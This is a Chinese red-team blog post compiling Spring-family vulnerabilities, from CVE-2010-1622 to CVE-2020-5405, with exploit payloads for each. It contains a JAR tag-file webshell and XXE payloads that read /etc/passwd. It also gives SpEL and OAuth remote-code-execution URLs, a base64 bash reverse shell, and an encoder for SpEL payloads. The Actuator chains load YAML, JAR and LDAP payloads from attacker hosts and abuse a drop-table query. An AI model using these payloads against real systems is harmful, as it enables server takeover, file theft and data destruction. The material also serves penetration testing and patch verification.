红队技术 | Spring 框架相关漏洞合集

2022010217222838

虽说是 Spring 框架漏洞,但以下包含并不仅 Spring Framework,Spring Boot,还有 Spring Cloud,Spring Data,Spring Security 等。

CVE-2010-1622 Spring Framework class.classLoader 类远程代码执行

影响版本:SpringSource Spring Framework 3.0.0 – 3.0.2、SpringSource Spring Framework 2.5.0 – 2.5.7

Spring 框架提供了一种机制,该机制使用客户端提供的数据来更新对象属性。这个机制允许攻击者修改用于加载对象的类加载器的属性(通过 ‘class.classloader’)。这可能导致任意命令执行,例如,攻击者可以修改 URL。由类加载器用来指向攻击者控制的位置。

  1. 示例:
  2. POST /adduser HTTP/1.0
  3. ...
  4. firstName = Tavis&lastName = Ormandy
  5. 如果Person是表单的支持对象,则firstNamelastName属性将设置为相应的值。为了支持更复杂的类,Spring还支持点表示法,因此user.address.street = Disclosure + Str。将等效于:
  6. frmObj.getUser().getAddress().setStreet("Disclosure Str.")
  7. 问题是Spring BeansCachedIntrospectionResults类枚举了可从用户表单提交中设置的属性,使用 java.beans.Introspector.getBeanInfo()而不指定停止类,这意味着' class '属性及其后的所有内容均可用于HTTP请求中的设置。
  8. 攻击
  9. 如果攻击者使用以下HTTP参数向表单控制器提交HTTP请求:
  10. POST /adduser HTTP/1.0
  11. ...
  12. class.classLoader.URLs[0] = jar:http://attacker/spring-exploit.jar!
  13. 她将 使用自己的网址覆盖frmObj.getClass().getClassLoader().getURLs() 返回的数组中的第0个元素.
  14. 它将是哪个类加载器?
  15. Apache Tomcat上的情况下,它指org.apache.catalina.loader.WebappClassLoader

如何构造这个jar,需要包含以下信息:

  1. - META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
  2. - META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)

/META-INF/spring-form.tld文件:

  1. <!-- <form:input/> tag -->
  2. <tag-file>
  3. <name>input</name>
  4. <path>/META-INF/tags/InputTag.tag</path>
  5. </tag-file>

/META-INF/tags/InputTag.tag

  1. <%@ tag dynamic-attributes="dynattrs" %>
  2. <%
  3. j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
  4. %>

做出这样的替换后,当开发者在controller中将任何一个对象绑定表单,并且最终展示的jsp内容有下面这些:

  1. <%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
  2. <form:form commandName="user">
  3. <form:input path="name"/>
  4. </form:form>

攻击者访问url,即可触发远程代码执行的效果:

  1. http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/

如果服务器大于tomcat6.0.28版本,这样做会把所有的input标签替换掉,导致不能正常显示。需要修改

spring-form.tld,给其中的inputtag改名,name改为inputkxlzx:

  1. <tag>
  2. <name>inputkxlzx</name> //什么名字都行

在文件中新加入一个tag,叫做input:

  1. <tag-file>
  2. <name>input</name>
  3. <path>/WEB-INF/tags/InputTag.tag</path>
  4. </tag-file>

InputTag.tag的内容:

  1. <%@ tag dynamic-attributes="dynattrs" %>
  2. <%
  3. if (request.getParameter("kxlzxcmd")!=null)
  4. exec(request.getParameter("kxlzxcmd"));
  5. %>
  6. <form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>

访问的时候需要在参数中携带kxlzxcmd

  1. /test.htm?name=kxlzx&kxlzxcmd=calc //包含input的页面

http://blog.o0o.nu/2010/06/cve-2010-1622.html

https://www.inbreak.net/archives/377

CVE-2013-4152 Spring Framework中的XML外部实体(XXE)注入

影响版本:3.0.0至3.2.3、4.0.0.M1

受影响版本容易受到XML外部实体(XXE)注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

当传输xml结构体时,如

  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <username>John</username>
  3. </xml>

外部XML实体- xxe是使用系统标识符定义的,并存在于DOCTYPE标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部XML实体,该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。

  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  4. <username>&xxe;</username>
  5. </xml>

其他XXE注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

CVE-2013-7315 Spring Framework中的XML外部实体

影响版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)

由于对 CVE-2013-4152CVE-2013-6429的修复不完整导致。

受影响版本容易受到XML外部实体(XXE)注入的攻击。该SourceHttpMessageConverter处理器不会禁用外部实体解析,这使远程攻击者可以读取任意文件。

当传输xml结构体时,如

  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <username>John</username>
  3. </xml>

外部XML实体- xxe是使用系统标识符定义的,并存在于DOCTYPE标头中。这些实体可以访问本地或远程内容。例如,以下代码包含一个外部XML实体,该实体将获取的内容 /etc/passwd并将其显示给呈现给用户。

  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <!DOCTYPE foo [
  3. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  4. <username>&xxe;</username>
  5. </xml>

其他XXE注入攻击可以访问可能无法停止返回数据的本地资源,这可能会影响应用程序可用性并导致拒绝服务。

CVE-2014-3527 Spring Security验证绕过漏洞

影响版本:

  1. SpringSource Spring Security 3.1-3.2.4
  1. 当使用从Spring Security 3.13.2.4CAS代理票证身份验证时,恶意的CAS服务可能会欺骗另一个CAS服务来认证未关联的代理票证。这是由于以下事实:代理票证身份验证使用了来自HttpServletRequest的信息,该信息是根据HTTP请求中的不可信信息填充的。这意味着,如果存在CAS服务可以相互认证的访问控制限制,则可以绕过这些限制。如果用户未使用CAS代理票证,并且未基于CAS服务做出访问控制决策,则对用户没有影响。

CVE-2014-0097 Spring Security认证绕过

影响版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5

  1. ActiveDirectoryLdapAuthenticator不检查密码长度。如果目录允许匿名绑定,则它可能会错误地验证提供空密码的用户。

CVE-2014-3578 Spring Framework 目录遍历漏洞

影响版本:

  1. Spring Framework:
  2. - 3.0.4 to 3.2.11
  3. - 4.0.0 to 4.0.7
  4. - 4.1.0 to 4.1.1

在web.xml存在如下情况下存在目录遍历:

  1. <mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />

访问:

  1. GET /springapp/css/file:/etc/passwd

CVE-2016-2173 Spring AMQP中的远程代码执行

影响版本:1.0.0至1.5.4

https://github.com/HaToan/CVE-2016-2173

使用方式:

  1. - ysoserial-0.0.4-all.jar create payload write and execute a shell
  2. + java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'
  3. - exploit-cve2016-2173.jar : send to App vul
  4. + java -jar exploit-cve2016-2173.jar

本来想根据配置来搭一个环境处理,结果环境一直搭不起来,构建各种失败,就先放这个利用poc把。

CVE-2016-4977 SpringSecurityOauth 远程命令执行漏洞

影响版本:2.0.0-2.0.9、1.0.0-1.0.5

https://www.seebug.org/vuldb/ssvid-92474

漏洞利用POC:

  1. http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

image-20200331090423266

执行命令:

  1. http://207.246.79.196:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}

image-20200331092210362

但是此命令执行,不会在页面上显示,只会打印出运行的对象。

如果要执行反弹shell等命令,由于页面HTML编码的原因,SPEL返回值时进行了一次html编码,所以导致取出的 值时会进行一次转义,利用如下脚本加工。

  1. #coding:utf-8
  2. message = input('Enter message to encode:')
  3. print('Decoded string (in ASCII):\n')
  4. print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
  5. for ch in message[1:]:
  6. print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),
  7. print('\n')
  8. print('new java.lang.String(new byte[]{', end=""),
  9. print(ord(message[0]), end="")
  10. for ch in message[1:]:
  11. print(',%s' % ord(ch), end=""),
  12. print(')}')

执行输出后再添加:

  1. T(java.lang.Runtime).getRuntime().exec(payload)

CNVD-2016-04742 Spring Boot框架SPEL表达式注入漏洞

影响版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

https://www.cnblogs.com/litlife/p/10183137.html

下载存在漏洞的版本1.3.0:https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip

POC:

  1. /?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}
  2. 结果:
  3. FBB204A4061FFBD41284A84C258C1BFB
  4. 返回结果是md5(wooyun)

CVE-2016-6652 Spring Data JPA SQL盲注

影响版本:Spring Data JPA 1.10.2、1.9.4

https://www.seebug.org/vuldb/ssvid-92534

CVE-2017-4971 Spring WebFlow 远程代码执行漏洞

影响版本:Spring Web Flow 2.4.0 to 2.4.4

使用vulhub搭建环境后,在添加poc执行

  1. &_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub

image-20200331111056698

image-20200331111146008

无害化payload检测,如果 response header 中出现 vulnerable 头,则有漏洞:

  1. &_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

image-20200331111225481

CVE-2017-8045 Spring Amqp中的远程代码执行

影响版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本

https://xz.aliyun.com/t/36

CVE-2017-8046 Spring Data REST PATCH请求远程执行代码

影响版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本

https://www.cnblogs.com/co10rway/p/9380441.html

利用POC执行:

  1. [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping xxx.ceye.io'))/lastname", "value": "vulhub" }]

反弹shell,其中反弹shell命令需要借助编码来减少重定向出错的问题java.lang.Runtime.exec() Payload Workarounds

  1. [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'))/lastname", "value": "vulhub" }]

image-20200331114458798

image-20200331115328723

CVE-2018-1258 Spring Security未经授权的访问

影响版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

暂无详细信息

CVE-2018-1259 具有XMLBeam的Spring DataXXE

影响版本:

  1. XMLBeam 1.4.14或更早版本结合使用的Spring Data Commons
  2. Spring Data Commons 1.131.13.11Ingalls SR11
  3. Spring Data REST 2.62.6.11Ingalls SR11
  4. Spring Data Commons 2.02.0.6Kay SR6
  5. Spring Data REST 3.03.0.6Kay SR6

http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/

https://xz.aliyun.com/t/2341

CVE-2018-1270 Spring Messaging远程代码执行漏洞

影响版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14

同样利用vulhub搭建环境,首先我们先拦截connect,查看通过的ws包,点击后会有这么一个请求

  1. ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket

image-20200331163229079

从bp中看到来回四个包,其中的内容为如上所示,修改如下请求包

image-20200331170304494

在发送任意消息,即可触发

image-20200331170357879

或者尝试使用vulhub提供的脚本,但是此脚本并不具备通用性,需要修改使用poc

CVE-2018-1271 Spring MVC 目录穿越漏洞

当Spring MVC的静态资源存放在Windows系统上时,攻击可以通过构造特殊URL导致目录遍历漏洞。

此漏洞触发条件较高:

  1. Server运行于Windows系统上
  2. 从文件系统提供的文件服务(比如使用file协议,但不是file open)
  3. 没有使用CVE-2018-1199漏洞的补丁
  4. 不使用Tomcat或者是WildFly做Server

漏洞利用和复现:

https://blog.knownsec.com/2018/08/spring-mvc-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9Ecve-2018-1271%E5%88%86%E6%9E%90/

CVE-2018-1273 Spring Expression Language SPEL表达式注入漏洞

影响版本:

  1. Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
  2. Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  3. Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
  4. Spring Data REST 3.0 - 3.0.5 (Kay SR5)

https://www.cnblogs.com/hac425/p/9656747.html

image-20200331171801189

POC:

  1. username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxx
  2. username[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test

CVE-2018-1260 Spring Security Oauth2 远程代码执行

影响版本:

  1. Spring Security OAuth 2.3 to 2.3.2
  2. Spring Security OAuth 2.2 to 2.2.1
  3. Spring Security OAuth 2.1 to 2.1.1
  4. Spring Security OAuth 2.0 to 2.0.14

https://www.seebug.org/vuldb/ssvid-97287

此漏洞和CVE-2016-4977类似

POC:

  1. http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D

CVE-2018-15758 spring-security-oauth2权限提升

影响版本:

  1. Spring Security OAuth 2.32.3.3
  2. Spring Security OAuth 2.22.2.2
  3. Spring Security OAuth 2.12.1.2
  4. Spring Security OAuth 2.02.0.15

使用了EnableResourceServer并且用了AuthorizationRequest的话。那么攻击者可以重新发送一次用过的验证请求,或者进行相应参数修改,从而造成权限提升。

例如劫持code,并且篡改其中的scope到all的话:

  1. http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid

image-20200401094048949

即授权了读取权限的时候,修改为all就可以获得全部权限。

CVE-2019-3799 Spring Cloud Config Server: 目录遍历

影响版本:Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6

下载受影响的版本构建:https://github.com/spring-cloud/spring-cloud-config

  1. cd spring-cloud-config-server
  2. ../mvnw spring-boot:run

构建成功后访问:

  1. http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

![image-20200401100511941](Spring 漏洞.assets/image-20200401100511941.png)

其中路径代表:/{name}/{profile}/{label}/,如下中所显示的json。

image-20200401102213915

CVE-2019-3778 Spring Security OAuth 开放重定向

影响版本:

  1. Spring Security OAuth 2.3 to 2.3.4
  2. Spring Security OAuth 2.2 to 2.2.3
  3. Spring Security OAuth 2.1 to 2.1.3
  4. Spring Security OAuth 2.0 to 2.0.16

https://medium.com/@riemannbernhardj/investigating-spring-security-oauth2-cve-2019-3778-and-cve-2019-11269-a-p-o-c-attack-44895f2a5e70

用户登录后,CLIENT APP执行的以下请求包含REDIRECT_URI参数。 只需添加一个百分号即可触发重定向,而不是通过RedirectMismatchException错误来绕过验证。

例如原始请求如下:

  1. /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login

只需要修改为:

  1. /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login

这样就不会产生原本的认证错误,而且直接跳转到地址

  1. Location: http://localhost:8086/login

CNVD-2019-11630 Spring Boot Actuator命令执行漏洞

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#

这个漏洞并不像是单一的问题产生,更像是一个渗透入侵的过程。有很多值得在意的知识点

  1. Spring Boot 1-1.4,无需身份验证即可访问以下敏感路径,而在2.x中,存在于/actuator路径下。
  1. /dump-显示线程转储(包括堆栈跟踪)
  2. /trace-显示最后几条HTTP消息(其中可能包含会话标识符)
  3. /logfile-输出日志文件的内容
  4. /shutdown-关闭应用程序
  5. /mappings-显示所有MVC控制器映射
  6. /env-提供对配置环境的访问
  7. /restart-重新启动应用程序
  1. jolokia进行远程代码执行,Jolokia允许通过HTTP访问所有已注册的MBean,并且旨在执行与JMX相同的操作。可以使用URL列出所有可用的MBeans操作:http://127.0.0.1:8090/jolokia/list

Logback库提供的reloadByURL操作使我们可以从外部URL重新加载日志配置,地址如:

  1. http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
  2. logback.xml
  3. <configuration>
  4. <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
  5. </configuration>

reloadByURL功能从http://artsploit.com/logback.xml下载新配置,并将其解析为Logback配置。这就导致两个问题:XXE盲攻击、恶意LDAP服务器解析引用导致RCE。

  1. 通过/env来修改配置

如果Spring Cloud Libraries在类路径中,则**’/ env’**端点允许您修改Spring环境属性。

  1. POST /env HTTP/1.1
  2. Host: 127.0.0.1:8090
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 65
  5. eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

此属性将Eureka serviceURL修改为任意值。Eureka Server通常用作发现服务器,目标类路径中具有Eureka-Client <1.8.7,则可以利用其中的XStream反序列化漏洞

其中xstream的内容类似如下:

  1. <linked-hash-set>
  2. <jdk.nashorn.internal.objects.NativeString>
  3. <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
  4. <dataHandler>
  5. <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
  6. <is class="javax.crypto.CipherInputStream">
  7. <cipher class="javax.crypto.NullCipher">
  8. <serviceIterator class="javax.imageio.spi.FilterIterator">
  9. <iter class="javax.imageio.spi.FilterIterator">
  10. <iter class="java.util.Collections$EmptyIterator"/>
  11. <next class="java.lang.ProcessBuilder">
  12. <command>
  13. <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
  14. </command>
  15. <redirectErrorStream>false</redirectErrorStream>
  16. </next>
  17. </iter>
  18. <filter class="javax.imageio.ImageIO$ContainsFilter">
  19. <method>
  20. <class>java.lang.ProcessBuilder</class>
  21. <name>start</name>
  22. <parameter-types/>
  23. </method>
  24. <name>foo</name>
  25. </filter>
  26. <next class="string">foo</next>
  27. </serviceIterator>
  28. <lock/>
  29. </cipher>
  30. <input class="java.lang.ProcessBuilder$NullInputStream"/>
  31. <ibuffer></ibuffer>
  32. </is>
  33. </dataSource>
  34. </dataHandler>
  35. </value>
  36. </jdk.nashorn.internal.objects.NativeString>
  37. </linked-hash-set>

然后调用’/ refresh’端点。

  1. 有一种通过Spring环境属性修改来实现RCE的更可靠方法:
  1. POST /env HTTP/1.1
  2. Host: 127.0.0.1:8090
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 59
  5. spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

该请求修改了“ spring.cloud.bootstrap.location”属性,该属性用于加载外部配置并以YAML格式解析它。为了做到这一点,我们还需要调用“/refresh”端点。

  1. POST /refresh HTTP/1.1
  2. Host: 127.0.0.1:8090
  3. Content-Type: application/x-www-form-urlencoded
  4. Content-Length: 0

从远程服务器获取YAML配置时,将使用SnakeYAML库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以通过使用前述的Marshalsec研究生成:

  1. !!javax.script.ScriptEngineManager [
  2. !!java.net.URLClassLoader [[
  3. !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  4. ]]
  5. ]

该jar文件的反序列化将触发提供的URLClassLoader的ScriptEngineManager构造函数的执行。jar文件可以在如下地址找到:https://github.com/artsploit/yaml-payload

  1. /env配置

除了关于执行RCE的地方,还有一些设置也很有用。

**spring.datasource.tomcat.validationQuery = drop + table + users-**允许您指定任何SQL查询,它将针对当前数据库自动执行。它可以是任何语句,包括插入,更新或删除。

spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb允许您修改当前的JDBC连接字符串。

这种设置只在1.x中,在Spring Boot 2.x中,改为了json格式。

CVE-2019-11269 Spring Security OAuth 开放重定向

此漏洞为CVE-2019-3778的延伸版本,效果一致

影响版本:

  1. Spring Security OAuth 2.32.3.5
  2. Spring Security OAuth 2.22.2.4
  3. Spring Security OAuth 2.12.1.4
  4. Spring Security OAUth 2.02.0.17

CVE-2020-5398 Spring Framework RFD漏洞

影响版本: Spring Framework, versions 5.2.0 to 5.2.3, 5.1.0 to 5.1.13, 5.0.0 to 5.0.16

触发此漏洞的要求可以控制content-disposition文件名和扩展名来下载文件。触发的类型有些类似钓鱼文件。

  1. <a href=”https://<trusted-server>.com/api/users/<attacker_id>.cmd" download>
  2. Click me, Im a dolphin
  3. </a>

先准备一个受控制的配置文件等,上传到受信的服务器中,虽然对服务器不造成影响。但是可以在其中注入一些payload。

由于下载的文件名是受前端控制,发送filename的时候可以自己构造文件名下载。

spring对不能识别的文件下载的时候按照json格式来处理,但是url仍然可以使用。

当受害者点击如上的地址时,会下载一个.cmd执行文件。原来spring对这种问题的处理是添加后缀为txt来改变文件的可执行效果。

但是这个设置可以绕过,采用如下形式:

  1. filenamesecure_install.cmd";

会在表头中闭合造成如下效果:

  1. Content-Disposition: attachment; filename="secure_install.cmd";.txt"

从而达到绕过限制来下载预先设定好的可执行文件等。

CVE-2020-5405 Spring Cloud Config路径穿越导致的信息泄露

影响版本:spring-cloud-config-server < 2.2.2

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md

poc:

  1. 利用点1
  2. curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
  3. 读取/User/xuanyonghao/tmp/aaa.xxx文件
  4. foo 对应 {application}
  5. profiles 对应 {profiles}
  6. %252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
  7. todo 条件限制:
  8. todo 1. 文件必须有后缀,也就是.txt等等。
  9. todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
  10. 利用点2
  11. org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
  12. 利用此处把label处的(_)替换为/
  13. curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
  14. todo 条件限制:
  15. todo 1. 文件必须有后缀,也就是.txt等等。
  16. todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2382

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月3日 上午1:13
下一篇 2022年1月3日 上午1:52

相关推荐

发表回复

您的电子邮箱地址不会被公开。